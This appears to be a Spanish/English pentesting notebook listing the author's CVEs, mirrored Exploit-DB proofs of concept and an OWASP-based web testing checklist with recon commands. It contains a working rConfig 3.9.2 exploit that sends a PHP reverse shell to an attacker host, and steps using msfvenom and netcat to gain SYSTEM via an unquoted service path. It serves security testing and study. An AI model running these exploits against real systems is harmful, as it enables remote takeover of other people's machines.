# Intro Welcome to my collection of commands, tools and tips on hacking techniques. I hope you get something useful from them. If you have any ideas let me know. {% hint style="info" %} ### If you can't find something, you can use the search tool at the top right corner of the page 😉 {% endhint %} # My CVE ### Order by CVE (MITRE / HACKPUNTES) 1. [CVE-2018-13832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13832) - [All In One Favicon <= 4.6 - Multiple Stored Authenticated XSS](https://hackpuntes.com/cve-2018-13832-wordpress-plugin-all-in-one-favicon-4-6-autenticado-multiples-cross-site-scripting-persistentes/) 2. [CVE-2018-14430](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14430) - [Multi Step Form <= 1.2.5 - Multiple Unauthenticated Reflected XSS](https://hackpuntes.com/cve-2018-14430-wordpress-plugin-multi-step-form-125-multiples-xss-reflejados/) 3. [CVE-2018-15571](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15571) - [Export Users to CSV <= 1.1.1 CSV Injection](https://hackpuntes.com/cve-2018-15571-wordpress-plugin-export-users-to-csv-1-1-1-csv-injection/) 4. [CVE-2018-15873](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15873) - [Sentrifugo HRMS 3.2 - Blind SQL Injection](https://hackpuntes.com/cve-2018-15873-sentrifugo-hrms-3-2-blind-sql-injection/) 5. [CVE-2018-15917](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15917) - [Jorani Leave Management System 0.6.5 - Cross-Site Scripting Persistente](https://hackpuntes.com/cve-2018-15917-jorani-leave-management-system-0-6-5-cross-site-scripting-persistente/) 6. [CVE-2018-15918](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15918) - [Jorani Leave Management System 0.6.5 - SQL Injection](https://hackpuntes.com/cve-2018-15918-jorani-leave-management-system-0-6-5-sql-injection/) 7. [CVE-2018-18478](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18478) - [Libre Network Monitoring System 1.43 - Stored Cross-Site Scripting](https://hackpuntes.com/cve-2018-18478-libre-nms-1-43-cross-site-scripting-persistente/) 8. [CVE-2018-18921](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18921) - [PHP Server Monitor 3.3.1 - Cross-Site Request Forgery](https://hackpuntes.com/cve-2018-18921-php-server-monitor-3-3-1-cross-site-request-forgery/) 9. [CVE-2018-18922](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18922) - [Ticketly 1.0 - Privilege Escalation](https://hackpuntes.com/cve-2018-18922-ticketly-1-0-escalacion-de-privilegios-crear-cuenta-administrador/) 10. [CVE-2018-18923](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18923) - [Ticketly 1.0 - Multiple SQL Injection](https://hackpuntes.com/cve-2018-18923-ticketly-1-0-multiples-sql-injections/) 11. [CVE-2018-19828](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19828) - [Integria IMS 5.0.83 - Cross-Site Scripting](https://hackpuntes.com/cve-2018-19828-integria-ims-5-0-83-cross-site-scripting-reflejado/) 12. [CVE-2018-19829](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19829) - [Integria IMS 5.0.83 – Cross-Site Request Forgery](https://hackpuntes.com/cve-2018-19829-integria-ims-5-0-83-cross-site-request-forgery/) 13. [CVE-2019-7400 ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7400) - [Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting](https://hackpuntes.com/cve-2019-7400-rukovoditel-erp-crm-2-4-1-cross-site-scripting-reflejado/) 14. [CVE-2019-15092](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15092) - [WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection](https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/) 15. [CVE-2019-19031](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19031) - [Easy XML Editor <= 1.7.8 - XML External Entity Injection](https://hackpuntes.com/cve-2019-19031-easy-xml-editor-1-7-8-inyeccion-xml/) 16. [CVE-2019-19032](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19032) - [XMLBlueprint <= 16.191112 - XML External Entity Injection](https://hackpuntes.com/cve-2019-19032-xmlblueprint-16-191112-inyeccion-xml/) | CVE | CWE | CVSS3 | CVSS2 | Exploit-DB | | :---------------------------------------------------------------: | :--------------------------------------------------------: | :----------: | :--------: | :---------------------------------------------: | | [CVE-2018-13832](https://nvd.nist.gov/vuln/detail/CVE-2018-13832) | [CWE-79 ](https://cwe.mitre.org/data/definitions/79.html) | 4.8 MEDIUM | 3.5 LOW | [✔️](https://www.exploit-db.com/exploits/45056) | | [CVE-2018-14430](https://nvd.nist.gov/vuln/detail/CVE-2018-14430) | [CWE-79 ](https://cwe.mitre.org/data/definitions/79.html) | 6.1 MEDIUM | 4.3 MEDIUM | [❌](https://www.exploit-db.com/?author=9580) | | [CVE-2018-15571](https://nvd.nist.gov/vuln/detail/CVE-2018-15571) | [CWE-74 ](https://cwe.mitre.org/data/definitions/74.html) | 8.6 HIGH | 6.8 MEDIUM | [✔️](https://www.exploit-db.com/exploits/45206) | | [CVE-2018-15873](https://nvd.nist.gov/vuln/detail/CVE-2018-15873) | [CWE-89 ](https://cwe.mitre.org/data/definitions/89.html) | 9.8 CRITICAL | 7.5 HIGH | [✔️](https://www.exploit-db.com/exploits/45266) | | [CVE-2018-15917](https://nvd.nist.gov/vuln/detail/CVE-2018-15917) | [CWE-79 ](https://cwe.mitre.org/data/definitions/79.html) | 5.4 MEDIUM | 3.5 LOW | [✔️](https://www.exploit-db.com/exploits/45338) | | [CVE-2018-15918](https://nvd.nist.gov/vuln/detail/CVE-2018-15918) | [CWE-89 ](https://cwe.mitre.org/data/definitions/89.html) | 5.4 MEDIUM | 5.5 MEDIUM | [✔️](https://www.exploit-db.com/exploits/45340) | | [CVE-2018-18478](https://nvd.nist.gov/vuln/detail/CVE-2018-18478) | [CWE-79 ](https://cwe.mitre.org/data/definitions/79.html) | 6.1 MEDIUM | 4.3 MEDIUM | [❌](https://www.exploit-db.com/?author=9580) | | [CVE-2018-18921](https://nvd.nist.gov/vuln/detail/CVE-2018-18921) | [CWE-352](https://cwe.mitre.org/data/definitions/352.html) | 6.5 MEDIUM | 5.8 MEDIUM | [✔️](https://www.exploit-db.com/exploits/45932) | | [CVE-2018-18922](https://nvd.nist.gov/vuln/detail/CVE-2018-18922) | [CWE-425](https://cwe.mitre.org/data/definitions/425.html) | 9.8 CRITICAL | 5.0 MEDIUM | [✔️](https://www.exploit-db.com/exploits/45892) | | [CVE-2018-18923](https://nvd.nist.gov/vuln/detail/CVE-2018-18923) | [CWE-89 ](https://cwe.mitre.org/data/definitions/89.html) | 9.8 CRITICAL | 7.5 HIGH | [✔️](https://www.exploit-db.com/exploits/45895) | | [CVE-2018-19828](https://nvd.nist.gov/vuln/detail/CVE-2018-19828) | [CWE-79 ](https://cwe.mitre.org/data/definitions/79.html) | 6.1 MEDIUM | 4.3 MEDIUM | [✔️](https://www.exploit-db.com/exploits/46012) | | [CVE-2018-19829](https://nvd.nist.gov/vuln/detail/CVE-2018-19829) | [CWE-352](https://cwe.mitre.org/data/definitions/352.html) | 6.5 MEDIUM | 5.8 MEDIUM | [✔️](https://www.exploit-db.com/exploits/46013) | | [CVE-2019-7400 ](https://nvd.nist.gov/vuln/detail/CVE-2019-7400) | [CWE-79 ](https://cwe.mitre.org/data/definitions/79.html) | 6.1 MEDIUM | 4.3 MEDIUM | [✔️](https://www.exploit-db.com/exploits/46608) | | [CVE-2019-15092](https://nvd.nist.gov/vuln/detail/CVE-2019-15092) | [CWE-74 ](https://cwe.mitre.org/data/definitions/74.html) | 7.3 HIGH | 6.0 MEDIUM | [✔️](https://www.exploit-db.com/exploits/47303) | | [CVE-2019-19031](https://nvd.nist.gov/vuln/detail/CVE-2019-19031) | [CWE-91 ](https://cwe.mitre.org/data/definitions/91.html) | 8.1 HIGH | 5.5 MEDIUM | [✔️](https://www.exploit-db.com/exploits/47945) | | [CVE-2019-19032](https://nvd.nist.gov/vuln/detail/CVE-2019-19032) | [CWE-91 ](https://cwe.mitre.org/data/definitions/91.html) | 8.1 HIGH | 5.5 MEDIUM | [✔️](https://www.exploit-db.com/exploits/47974) | | | | | | | # Exploit-DB A collection of proofs of concept of Exploit-DB # XMLBlueprint <= 16.191112 - XML External Entity Injection # Easy XML Editor <= 1.7.8 - XML External Entity Injection {% file src="/files/-Lu3FJLdbbDZrx7LvoNE" %} Vulnerable software {% endfile %} # winrar 5.80 64bit - Denial of Service https\://awesome.hackpuntes.com/exploit-db/winrar-5.80-64bit-denial-of-service {% embed url="" %} ### FILES {% file src="/files/-Lswz7wzctWJVhhPsObW" %} Vulnerable software {% endfile %} {% file src="/files/-LswzHogKLR\_IBADovwb" %} Exploit {% endfile %} ### POC {% embed url="" %} 1. Open WinRar or any file.rar 2. Go to Help 3. Help topics 4. Drag the **`exploit-47525.html`** to the window ### ORIGINAL ``` # Exploit Title: winrar 5.80 64bit - Denial of Service # Date: 2019-10-19 # Exploit Author: alblalawi # Vendor Homepage: https://win-rar.com/fileadmin/winrar-versions/winrar-x64-58b2.exe # Version: 5.80 # Tested on: Microsoft Windows Version 10.0.18362.418 64bit # 1- open winrar or any file.rar # 2- help # 3- help topics # 4- Drag the exploit to the window # Save the content html ``` # rConfig 3.9.2 - Remote Code Execution https\://awesome.hackpuntes.com/exploit-db/rconfig-3.9.2-remote-code-execution {% embed url="" %} ### FILES {% file src="/files/-LtRN2S9IM9ZhyBtlRVQ" %} Vulnerable software {% endfile %} {% file src="/files/-LtVFe1uYeQR8N6FTF1C" %} Exploit PreAuth {% endfile %} {% file src="/files/-LtVFpNnQCCkRjV2QpHt" %} Exploit PostAuth {% endfile %} ### POC {% embed url="" %} ### ORIGINAL ``` # Exploit Title: rConfig 3.9.2 - Remote Code Execution # Date: 2019-09-18 # Exploit Author: Askar # Vendor Homepage: https://rconfig.com/ # Software link: https://rconfig.com/download # Version: v3.9.2 # Tested on: CentOS 7.7 / PHP 7.2.22 # CVE : CVE-2019-16662 #!/usr/bin/python import requests import sys from urllib import quote from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) if len(sys.argv) != 4: print "[+] Usage : ./exploit.py target ip port" exit() target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)) install_path = target + "/install" req = requests.get(install_path, verify=False) if req.status_code == 404: print "[-] Installation directory not found!" print "[-] Exploitation failed !" exit() elif req.status_code == 200: print "[+] Installation directory found!" url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload print "[+] Triggering the payload" print "[+] Check your listener !" requests.get(url_to_send, verify=False) rConfig-preauth.png ``` # XML Notepad 2.8.0.4 - XML External Entity Injection https\://awesome.hackpuntes.com/exploit-db/xml-notepad-2.8.0.4-xml-external-entity-injection {% embed url="" %} ### FILES {% file src="/files/-LtQuZVzmDCYgNHa40Ps" %} Vulnerable software {% endfile %} {% file src="/files/-LtVHFiOd0Q9Sophx1qu" %} Exploit {% endfile %} {% file src="/files/-LtVHM9Mp3rSog7l8OdU" %} Payload {% endfile %} ### POC {% embed url="" %} ### ORIGINAL ``` # Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection # Date: 2019-11-11 # Exploit Author: 8-Team / daejinoh # Vendor Homepage: https://www.microsoft.com/ # Software Link: https://github.com/microsoft/XmlNotepad # Version: XML Notepad 2.8.0.4 # Tested on: Windows 10 Pro # CVE : N/A # Step 1) File -> Open -> *.xml # Exploit Code 1) Server(python 3.7) : python -m http.server 2) Poc.xml : %dtd;]> &send; 3) payload.dtd "> %all; -------------------------------------------------------------------------------- ``` # IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path https\://awesome.hackpuntes.com/exploit-db/iobit-uninstaller-9.1.0.8-iobitunsvr-unquoted-service-path {% embed url="" %} ### FILES {% file src="/files/-LszxeORqwlt3cVl0qf4" %} Vulnerable software {% endfile %} ### POC {% embed url="" %} 1. Install vulnerable software 2. **`Windows + R`** and type **`cmd`** 3. Execute command **`sc qc IObitUnSvr`** 4. ``` C:\>sc qc IObitUnSvr [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IObitUnSvr TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IObit Uninstaller Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ``` 5. **`BINARY_PATH_NAME`** contains spaces and isn’t enclosed within quotes 6. Make a malicious exe`msfvenom -p windows/shell_reverse_tcp LHOST=[IP-ATTACKER] LPORT=[PORT-ATTACKER] -f exe -o IObit.exe` 7. Copy a malicious exe in some path like the following 1. **C:\Program.exe** 2. **C:\Program Files.exe** 3. **C:\Program Files (x86)\IObit\IObit.exe** 8. Listen on attacker machine **`nc -lvnp 5555`** 9. Reboot victim system 10. When the victim machine reboots, you will get a reverse shell with admin system privileges ### ORIGINAL ``` # Title: IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path # Author: Sainadh Jamalpur # Date: 2019-10-22 # Vendor Homepage: https://www.iobit.com # Software Link: https://www.iobit.com/en/advanceduninstaller.php # Version : 9.1.0.8 # Tested on: Windows 10 64bit(EN) # CVE : N/A # 1. Description: # Unquoted service paths in IObit Uninstaller v9.1.0.8 have an unquoted service path. # PoC =========== C:\>sc qc IObitUnSvr [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IObitUnSvr TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IObit Uninstaller Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\> #Exploit: ============ A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. # Disclaimer ============= The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. ``` # OWASP - EN # OWASP: Testing guide checklist A checklist of OWASP Testing guide v4 {% file src="/files/-M-JZ9vJRzlrXSDuOZAN" %} OWASP Checklist EN {% endfile %} ♻️ **Update to february 4, 2020** ### \[INFO] INFORMATION GATHERING * [ ] INFO-001 Conduct Search Engine Discovery and Reconnaissance Information Leakage * [ ] INFO-002 Fingerprint Web Server * [ ] INFO-003 Review Webserver Metafiles Information Leakage * [ ] INFO-004 Enumerate Applications on Webserver * [ ] INFO-005 Review Webpage Comments and Metadata Information Leakage * [ ] INFO-006 Identify application entry points * [ ] INFO-007 Map execution paths through application * [ ] INFO-008 Fingerprint Web Application Framework * [ ] INFO-009 Fingerprint Web Application * [ ] INFO-010 Map Application Architecture ### \[CONFIG] CONFIGURATION AND DEPLOY MANAGEMENT * [ ] CONFIG-001 Network/Infrastructure Configuration * [ ] CONFIG-002 Application Platform Configuration * [ ] CONFIG-003 File Extensions Handling for Sensitive Information * [ ] CONFIG-004 Backup and Unreferenced Files for Sensitive Information * [ ] CONFIG-005 Enumerate Infrastructure and Application Admin Interfaces * [ ] CONFIG-006 HTTP Methods * [ ] CONFIG-007 HTTP Strict Transport Security * [ ] CONFIG-008 RIA cross domain policy * [ ] CONFIG-009 File Permission * [ ] CONFIG-010 Subdomain Takeover ### \[IDENT] IDENTITY MANAGEMENT * [ ] IDENT-001 Role Definitions * [ ] IDENT-002 User Registration Process * [ ] IDENT-003 Account Provisioning Process * [ ] IDENT-004 Account Enumeration and Guessable User Account * [ ] IDENT-005 Weak or unenforced username policy ### \[AUTHN] AUTHENTICATION * [ ] AUTHN-001 Credentials Transported over an Encrypted Channel * [ ] AUTHN-002 Default credentials * [ ] AUTHN-003 Weak lock out mechanism * [ ] AUTHN-004 Bypassing authentication schema * [ ] AUTHN-005 Remember password functionality * [ ] AUTHN-006 Browser cache weakness * [ ] AUTHN-007 Weak password policy * [ ] AUTHN-008 Weak security question/answer * [ ] AUTHN-009 Weak password change or reset functionalities * [ ] AUTHN-010 Weaker authentication in alternative channel ### \[AUTHZ] AUTHORIZATION * [ ] AUTHZ-001 Directory traversal/file include * [ ] AUTHZ-002 Bypassing authorization schema * [ ] AUTHZ-003 Privilege Escalation * [ ] AUTHZ-004 Insecure Direct Object References ### \[SESS] SESSION MANAGEMENT * [ ] SESS-001 Bypassing Session Management Schema * [ ] SESS-002 Cookies attributes * [ ] SESS-003 Session Fixation * [ ] SESS-004 Exposed Session Variables * [ ] SESS-005 Cross Site Request Forgery * [ ] SESS-006 Logout functionality * [ ] SESS-007 Session Timeout * [ ] SESS-008 Session puzzling ### \[INPVAL] DATA VALIDATION * [ ] INPVAL-001 Reflected Cross Site Scripting * [ ] INPVAL-002 Stored Cross Site Scripting * [ ] INPVAL-003 HTTP Verb Tampering * [ ] INPVAL-004 HTTP Parameter pollution * [ ] INPVAL-005 SQL Injection * [ ] INPVAL-006 LDAP Injection * [ ] INPVAL-007 ORM Injection * [ ] INPVAL-008 XML Injection * [ ] INPVAL-009 SSI Injection * [ ] INPVAL-010 XPath Injection * [ ] INPVAL-011 IMAP/SMTP Injection * [ ] INPVAL-012 Code Injection * [ ] INPVAL-013 Command Injection * [ ] INPVAL-014 Buffer overflow * [ ] INPVAL-015 Incubated vulnerabilities * [ ] INPVAL-016 HTTP Splitting/Smuggling * [ ] INPVAL-017 HTTP Incoming Requests * [ ] INPVAL-018 Host Header Injection * [ ] INPVAL-019 Server Side Template Injection ### \[ERR] ERROR HANDLING * [ ] ERR-001 Analysis of Error Codes * [ ] ERR-002 Analysis of Stack Traces ### \[CRYPST] CRYPTOGRAPHY * [ ] CRYPST-001 Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection * [ ] CRYPST-002 Padding Oracle * [ ] CRYPST-003 Sensitive information sent via unencrypted channels * [ ] CRYPST-004 Weak Encryption ### \[BUSLOGIC] BUSINESS LOGIC * [ ] BUSLOGIC-001 Business Logic Data Validation * [ ] BUSLOGIC-002 Ability to Forge Requests * [ ] BUSLOGIC-003 Integrity Checks * [ ] BUSLOGIC-004 Process Timing * [ ] BUSLOGIC-005 Number of Times a Function Can be Used Limits * [ ] BUSLOGIC-006 Circumvention of Work Flows * [ ] BUSLOGIC-007 Defenses Against Application Mis-use * [ ] BUSLOGIC-008 Upload of Unexpected File Types * [ ] BUSLOGIC-009 Upload of Malicious Files ### \[CLIENT] CLIENT SIDE * [ ] CLIENT-001 DOM based Cross Site Scripting * [ ] CLIENT-002 JavaScript Execution * [ ] CLIENT-003 HTML Injection * [ ] CLIENT-004 Client Side URL Redirect * [ ] CLIENT-005 CSS Injection * [ ] CLIENT-006 Client Side Resource Manipulation * [ ] CLIENT-007 Cross Origin Resource Sharing * [ ] CLIENT-008 Cross Site Flashing * [ ] CLIENT-009 Clickjacking * [ ] CLIENT-010 WebSockets * [ ] CLIENT-011 Web Messaging * [ ] CLIENT-012 Local Storage * [ ] CLIENT-013 Cross Site Script Inclusion # OWASP - ES # \[INFO] RECOPILACIÓN DE INFORMACIÓN Recopilar la mayor cantidad de información posible sobre la aplicación, sistema u organización. ### INFO-01 Fugas de información indexadas por buscadores 🎯 **Objetivo** Buscar información sensible sobre la aplicación, sistema u organización que pueda estar expuesta tanto directamente (en el sitio web de la organización) o indirectamente (sitio web de un tercero). 📝 **Pruebas** * [ ] Buscar información sobre la aplicación en Google, Bing, GitHub, Shodan, Censys, Pastebin, Hunter, LinkedIn, Facebook y Twitter. * [ ] Comprobar fugas de información en leaks. * [ ] Lanzar **waybackurls**. * [ ] Comprobar emails en **hunter.io**. * [ ] Comprobar dominio en **shodan.io**. * [ ] Comprobar dominio en **binsearch.info**. **Google** ``` site:[DOMAIN] cache:[DOMAIN] filetype:[EXTENSION] inurl:[DORK] intext:[DORK] inbody:[DORK] intitle:[DORK] ``` **Archive** ``` https://web.archive.org/web/*/[DOMAIN]/* ``` ``` waybackurls [DOMAIN] | tee -a [DOMAIN].txt ``` **Hunter.io** ``` https://hunter.io/search/[DOMAIN] ``` **Shodan.io** ``` https://www.shodan.io/search?query=[DOMAIN] ``` **Binsearch.info** ``` https://binsearch.info/?q=[DOMAIN] ``` 🌐 **Referencias** * [OWASP GitHub INFO-01](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage.md) * [Google Hacking Database/](https://www.exploit-db.com/google-hacking-database/) ### INFO-02 Fingerprinting del servidor web 🎯 **Objetivo** Buscar información sobre la versión y tipo del servidor web para buscar posibles vulnerabilidades y exploits. 📝 **Pruebas** * [ ] Navegar por la aplicación y observar cabeceras. * [ ] Analizar el código HTML. * [ ] Observar las cookies. * [ ] Lanzar **Wappalyzer**. * [ ] Lanzar **Whatweb**. * [ ] Lanzar **Netcraft**. **Wappalyzer** ``` wappalyzer [URL] --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4135.1 Safari/537.36" --proxy "http://127.0.0.1:8080" --recursive --pretty >> [DOMAIN].json ``` **Whatweb** ``` whatweb --aggression 4 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4135.1 Safari/537.36" --proxy "127.0.0.1:8080" --url-prefix "https://" [DOMAIN] ``` **Netcraft** ``` https://sitereport.netcraft.com/?url=[URL] ``` 🌐 **Referencias** * [OWASP GitHub INFO-02](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server.md) ### INFO-03 Fugas de información sensible en metaficheros del servidor 🎯 **Objetivo** Buscar archivos o directorios que puedan contener información interesante o sensible. 📝 **Pruebas** * [ ] Comprobar el archivo `robots.txt`. * [ ] Observar el tag HTML `META`. * [ ] Lanzar crawl con Burp Suite. * [ ] Lanzar **gobuster** con directorios conocidos. * [ ] Lanzar **wfuzz** con ficheros conocidos. **Wget** ``` wget [URL]/robots.txt ``` **Curl** ``` curl -O [URL]/robots.txt ``` **Gobuster** ``` gobuster -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" -t 23 dir -u "[URL]" -o directories.txt ``` ``` gobuster -w "/usr/share/wordlists/dirb/common.txt" -t 23 -x php,txt,html dir -u "[URL]" -o common_files.txt ``` **Wfuzz** ``` wfuzz -c -t 23 -w "/usr/share/wordlists/dirb/common.txt" -z "php,txt,html" -u "[URL]FUZZ" ``` 🌐 **Referencias** * [OWASP GitHub INFO-03](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage.md) ### INFO-04 Enumeración de aplicaciones en el servidor web 🎯 **Objetivo** Enumerar las aplicaciones dentro del alcance de la auditoria y presentes en el mismo servidor (Host compartido), descubrimiento de puertos abiertos, servicios, subdominios o frameworks utilizados. 📝 **Pruebas** * [ ] Utilizar el motor de búsqueda **bing** con el filtro `IP:`. * [ ] Comprobar en `http://ipv4info.com`. * [ ] Lanzar **Nmap**. * [ ] Lanzar **Wfuzz**. * [ ] Lanzar **Assetfinder**. * [ ] Lanzar **Amass**. * [ ] Lanzar **Sublist3r**. **Bing** ``` https://www.bing.com/search?q=IP%3A[IP] ``` **IPv4info** ``` http://ipv4info.com/search/[DOMAIN] ``` **Nmap** ``` nmap -p- --open -T2 -v -oA ports [DOMAIN] ``` ``` nmap -sC -sV -T2 -v -oA services -p[PORTS] [DOMAIN] ``` **Wfuzz** ``` wfuzz -c -t 23 -w "/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt" -H "Host: FUZZ.[DOMAIN]" -u "[URL]" ``` **Assetfinder** ``` assetfinder --subs-only [DOMAIN] | tee -a assetfinder.txt ``` **Amass** ``` amass enum -passive -d [DOMAIN] -o amass-pasive.txt ``` ``` amass enum -brute -d [DOMAIN] -o amass-brute.txt ``` **Sublist3r** ``` python sublist3r.py -d [DOMAIN] -v -o sublister.txt ``` 🌐 **Referencias** * [OWASP GitHub INFO-04](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver.md) ### INFO-05 Fugas de información sensible en metadatos y comentarios 🎯 **Objetivo** Buscar fugas de información en comentarios HTML y metadatos de archivos subidos al servidor. 📝 **Pruebas** * [ ] Una vez explorada la aplicación mediante **Burp Suite**, exportar los comentarios desde la pestaña `Target -> Site map -> Engagement tools -> Find comments`. * [ ] Plugin para Burp Suite: [Exiftool Scanner](https://github.com/portswigger/exiftool-scanner). * [ ] Almacenar los archivos obtenidos y descargados durante la auditoria para analizarlos con **FOCA**. **Burp Suite** ![Exportar comentarios desde Burp Suite](https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-M7lKdfnA_18kKPNHpU_%2F-M7mRQr1IeK2ATNFh2ix%2Finfo-05_001.png?alt=media\&token=f43e638e-0d38-42e9-9846-285d5b6621a8) 🌐 **Referencias** * [OWASP GitHub INFO-05](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage.md) ### INFO-06 Identificación de puntos de entrada en la aplicación 🎯 **Objetivo** Comprender como se forman las peticiones y respuestas de la aplicación, buscar puntos de entrada y parámetros ocultos. 📝 **Pruebas** * [ ] Comprender como están formadas las peticiones y respuestas. * [ ] Identificar en que puntos de la aplicación se usan los métodos POST y GET. * [ ] Conocer los parámetros que usa la aplicación y con que fin son usados. * [ ] Identificar que peticiones POST pueden ser cambiadas por GET (longitud de respuesta similar). * [ ] Buscar formularios u otros posibles puntos de entrada para posteriormente buscar vulnerabilidades XSS o SQLi. * [ ] Exportar las URL y parámetros desde **Burp Suite** `Target -> Site map -> Engagement tools -> Analyze target`. * [ ] Lanzar **Arjun** con las URL y parámetros obtenidos de Burp Suite. **Burp Suite** ![Exportar URL y parámetros desde Burp Suite](https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-M7pi-19glQoyOupnGm7%2F-M7pjkh-wmQCIEsaVbc_%2Finfo-06_001.png?alt=media\&token=e629451c-f63b-4b9c-ae29-5cc6af242146) **Arjun** ``` python3 arjun.py --url urls.txt --get -t 23 -o arjun.json ``` 🌐 **Referencias** * [OWASP GitHub INFO-06](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points.md) ### INFO-07 Mapas de rutas de ejecución a través de la aplicación 🎯 **Objetivo** Crear un mapa de la aplicación y entender los flujos de trabajo. 📝 **Pruebas** * [ ] Pasar la aplicación a través de Burp Suite. En la pestaña `Target -> Site map`se creará el mapa de la aplicación. 🌐 **Referencias** * [OWASP GitHub INFO-07](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application.md) ### INFO-08 Fingerprinting del framework de la aplicación web 🎯 **Objetivo** Conocer los distintos frameworks usados por la aplicación. 📝 **Pruebas** * [ ] Analizar las cabeceras de respuesta del servidor de la aplicación, cookies, extensiones de los archivos, errores o comentarios en el HTML para identificar posibles frameworks utilizados en su desarrollo (Wordpress, JQuery, CKEditor, Vue.js, Joomla, Drupal, etc). * [ ] Lanzar **WPScan**. **WPScan** ``` python3 arjun.py --url urls.txt --get -t 23 -o arjun.json ``` 🌐 **Referencias** * [OWASP GitHub INFO-08](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework.md) ### INFO-09 Fingerprinting de la aplicación web ⚠️ **\[ESTA PRUEBA HA SIDO INCLUIDA EN INFO-08]** ⚠️ 🌐 **Referencias** * [OWASP GitHub INFO-09](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application.md) ### INFO-10 Mapa de arquitectura de la aplicación 🎯 **Objetivo** Conocer la infraestructura de la aplicación para identificar si existe un WAF, Firewall, Balanceador, etc. 📝 **Pruebas** * [ ] Buscar información referente a si existe un único servidor o más de uno (ejemplo los utilizados por Amazon para servir la información en función desde el país que se visite la aplicación, dando lugar a que un dominio pueda resolver dos IPs distintas). Esto se puede comprobar en el punto INFO-04 mediante la herramienta online **IPv4Info**. * [ ] Cambiar las peticiones entre **HTTP 1.0** y **HTTP 1.1**, con y sin cabecera **HOST** o intentando forzar errores (por ejemplo con caracteres chinos o emojis). * [ ] En HTTP 1.0 se pueden hacer peticiones sin host, podemos obtener información en las cabeceras de respuestas. * [ ] Lanzar **WhatWaf**. * [ ] Plugin para Burp Suite: [WAFDetect](https://github.com/portswigger/waf-detect). **IPv4Info** ![Ejemplo de dos IPs asociadas a un dominio en la herramienta 